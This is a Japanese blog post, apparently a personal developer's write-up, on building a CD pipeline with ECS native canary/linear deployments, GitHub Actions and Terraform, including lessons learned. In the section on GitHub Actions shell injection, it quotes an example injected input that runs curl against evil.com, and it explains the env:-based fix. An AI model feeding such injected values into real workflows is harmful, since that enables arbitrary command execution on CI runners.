はじめに
個人開発の NBA ニュースサイトにデプロイ基盤がなく、aws ecs update-service --force-new-deployment を手動で叩いていた状態から、ECS Native Deployment Strategy(CANARY / LINEAR)+ GitHub Actions の CD 基盤を1日で構築しました。
📌 この記事で扱うこと:
- ECS Native Deployment Strategy で CANARY / LINEAR Blue/Green デプロイを実装する方法
- GitHub Actions ワークフローの実装コード(コピペで使えるレベル)
- 構築中にハマったポイント3つ(シェルインジェクション、wait タイムアウト、IAM 権限不足)
環境
| 項目 | バージョン・設定 |
|---|---|
| ECS | Fargate, deployment_controller: ECS |
| Terraform | >= 1.10.0, AWS Provider ~> 5.0 |
| Terramate | 最新 |
| GitHub Actions | ubuntu-latest |
| ECS Native Strategy | GA 2025-07-17 |
実装
構築したワークフロー一覧
| ワークフロー | トリガー | 機能 |
|---|---|---|
cd-ecs.yml |
CI 完了 (workflow_run) / 手動 | ECS Blue/Green デプロイ(CANARY or LINEAR 選択可) |
cd-frontend.yml |
push (frontend/**) / 手動 | S3 sync + CloudFront invalidation |
cd-rollback.yml |
手動 | ECS / Frontend の手動ロールバック |
cd-terraform.yml |
push (terraform/**) | Terramate → plan → apply 自動実行 |
cd-ecs.yml の核心部分
デプロイ戦略を動的に切り替える仕組みが一番のポイントです。ECS Service は1つの deployment strategy しか持てないため、update-service の deploymentConfiguration パラメータで動的に JSON を渡します。
- name: Resolve deployment strategy
id: strategy
run: |
set -euo pipefail
STRATEGY="${INPUT_STRATEGY:-canary}"
if [ "$STRATEGY" = "linear" ]; then
cat <<'EOJSON' > /tmp/deploy-config.json
{
"deploymentStrategy": {
"type": "LINEAR",
"linear": { "linearStepSize": 25, "waitDuration": 180 }
},
"alarms": {
"alarmNames": ["iso-flow-prod-deploy-5xx", "iso-flow-prod-deploy-p99"],
"enable": true, "rollback": true
}
}
EOJSON
else
cat <<'EOJSON' > /tmp/deploy-config.json
{
"deploymentStrategy": {
"type": "CANARY",
"canary": {
"steps": [
{"type": "CANARY", "stepSize": 10},
{"type": "WAIT", "duration": 300}
]
}
},
"alarms": {
"alarmNames": ["iso-flow-prod-deploy-5xx", "iso-flow-prod-deploy-p99"],
"enable": true, "rollback": true
}
}
EOJSON
fi
- name: Update ECS service
run: |
aws ecs update-service \
--cluster "$ECS_CLUSTER" \
--service "$ECS_SERVICE" \
--task-definition "$TASK_DEF_ARN" \
--deployment-configuration "$(cat /tmp/deploy-config.json)"
3層ロールバック(Terraform)
# ECS Service — Circuit Breaker(第1層)
resource "aws_ecs_service" "main" {
deployment_circuit_breaker {
enable = true
rollback = true
}
lifecycle {
ignore_changes = [task_definition]
}
}
# CloudWatch Alarm — 5xx エラー率(第2層)
resource "aws_cloudwatch_metric_alarm" "deploy_5xx" {
alarm_name = "iso-flow-prod-deploy-5xx"
comparison_operator = "GreaterThanThreshold"
threshold = 1 # 1%
evaluation_periods = 1
treat_missing_data = "notBreaching"
metric_query {
id = "error_rate"
expression = "(m1 / m2) * 100"
return_data = true
}
# m1 = HTTPCode_ELB_5XX_Count, m2 = RequestCount
}
# 第3層は cd-rollback.yml(手動)
Terraform 自動 apply
# cd-terraform.yml — main マージで自動 apply
- name: Terraform Init & Apply
working-directory: terraform
run: |
terramate run --disable-safeguards=git-uncommitted \
-- terraform init -input=false
terramate run --disable-safeguards=git-uncommitted \
-- terraform apply -input=false -auto-approve
これで PR マージ → Terraform 変更が自動反映。手動 terraform apply が完全に不要になりました。
ハマったポイント
1. GitHub Actions のシェルインジェクション脆弱性
問題: ${{ inputs.image_tag }} を run: ブロック内で直接展開していた。
# NG — 任意コマンド実行可能
TAG="${{ inputs.image_tag }}"
# OK — env: 経由で環境変数として渡す
env:
INPUT_IMAGE_TAG: ${{ inputs.image_tag }}
run: |
TAG="$INPUT_IMAGE_TAG"
workflow_dispatch のフリーテキスト入力に "; curl http://evil.com # のような値を入れると、シェルコマンドとして展開・実行されます。3箇所で見つかりました。
対策: ${{ inputs.* }} は必ず env: 経由で環境変数に渡す。加えて数値入力は [[ "$VAR" =~ ^[0-9]+$ ]] でバリデーション。
2. aws ecs wait services-stable のタイムアウト
問題: デフォルトのタイムアウトは 40回 × 15秒 = 10分。しかし CANARY(5分 bake)や LINEAR(3分 × 4段階 = 12分)では10分を超える。
タイムアウトすると workflow が fail → 「デプロイ失敗」と誤認 → ロールバック発動 → 進行中のデプロイとロールバックが競合する最悪のパターン。
対策:
aws ecs wait services-stable \
--cluster "$ECS_CLUSTER" \
--services "$ECS_SERVICE" \
--cli-read-timeout 0 \
--waiter-config '{"Delay":15,"MaxAttempts":100}'
MaxAttempts=100 × Delay=15 = 25分。デプロイ戦略の最大所要時間に合わせて余裕を持たせます。
3. IAM 権限の ecr:DescribeImages 不足
問題: cd-ecs.yml の「最新イメージタグ取得」で aws ecr describe-images を呼んでいるが、IAM ポリシーに ecr:DescribeImages がなかった。
# これが AccessDenied でコケる
TAG=$(aws ecr describe-images \
--repository-name "$ECR_REPOSITORY" \
--query '...')
対策: Terraform の IAM ポリシーに ecr:DescribeImages と ecr:DescribeRepositories を追加。CD ワークフローが使う AWS API は全て IAM ポリシーに列挙すること。
まとめ
| Before | After |
|---|---|
手動 force-new-deployment
|
CANARY / LINEAR Blue/Green |
| ロールバック手段なし | 3層防御(Circuit Breaker + CW Alarm + 手動) |
手動 terraform apply
|
PR マージで自動 apply |
| 手動 S3 sync | push で自動デプロイ |
1日で終わった理由: SDD(Spec-Driven Development)で要件定義→設計→レビューを先に固めてから実装に入ったこと。設計段階で Devil's Advocate レビューを入れ、「ECS Native は途中停止できない」「GitHub Environment は private repo で使えない」といった制約を実装前に発見できた。
この記事で解説した CD 基盤の実装コード(Terraform + GitHub Actions)をサンプルリポジトリとして公開しています。
👉 toguri/example-ecs-native-cd
🏀 NBA ISO FLOW: https://www.nba-iso-flow.com/ — NBAの最新ニュースをリアルタイムでお届け